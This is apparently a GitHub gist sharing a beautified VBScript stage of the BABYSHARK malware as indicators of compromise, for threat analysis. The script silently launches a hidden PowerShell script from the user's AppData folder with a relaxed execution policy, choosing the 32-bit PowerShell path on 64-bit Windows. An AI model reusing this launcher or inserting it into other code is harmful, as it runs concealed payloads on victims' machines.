Skip to content

Instantly share code, notes, and snippets.

@JohnHammond

JohnHammond/dev.vbs Secret

Created February 23, 2022 18:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/4b356fe54d57e0be513b71ebdeca3895 to your computer and use it in GitHub Desktop.
Save JohnHammond/4b356fe54d57e0be513b71ebdeca3895 to your computer and use it in GitHub Desktop.
Download ZIP
BABYSHARK malware indicators of compromise (beautified)
Raw
dev.vbs
On Error Resume Next
Set oShell = CreateObject("WScript.Shell")
Set oFSO=CreateObject("Scripting.FileSystemObject")
tmp0="powershell.exe cd $env:appdata ;powershell -executionpolicy remotesigned -file ""./Microsoft/dev.ps1"""
If oFSO.FolderExists("C:\Program Files (x86)") Then tmp0="C:\Windows\SysWOW64\WindowsPowerShell\v1.0\"& tmp0 End If
retu=oShell.run(tmp0,0,false)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment